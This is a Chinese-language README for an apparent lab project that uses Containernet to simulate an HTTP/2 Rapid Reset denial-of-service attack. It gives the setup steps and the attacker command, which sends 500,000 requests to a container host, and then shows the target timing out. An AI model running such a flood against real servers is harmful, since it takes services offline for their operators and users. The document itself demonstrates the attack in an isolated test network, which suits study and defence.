本项目演示了如何使用 Containernet 创建自定义网络拓扑来实施 HTTP/2 快速重置拒绝服务(DoS)攻击。该攻击利用 HTTP/2 协议中的漏洞使目标服务器过载,从而使其无法响应。

要安装必要的软件包,请运行以下命令:
./install.sh
要更改默认安装目录,可以像下面这样修改 INSTALL_DIR 变量:
INSTALL_DIR=/custom/path ./install.sh
要启动基础设施,请运行以下命令:
source ~/.containernet/containernet/venv/bin/activate
sudo -E env PATH=$PATH ./topo.py
要发起攻击,请在攻击者容器中执行以下命令:
./attacker -url='https://modern.art:443/api' -requests=500000
片刻之后,当你尝试使用 curl 访问网站时,它就会变得无响应。
root@attacker:/attacker# curl -k https://modern.art/
curl: (28) SSL connection timeout
要停止基础设施,只需在运行 topo.py 的终端中输入 exit 即可。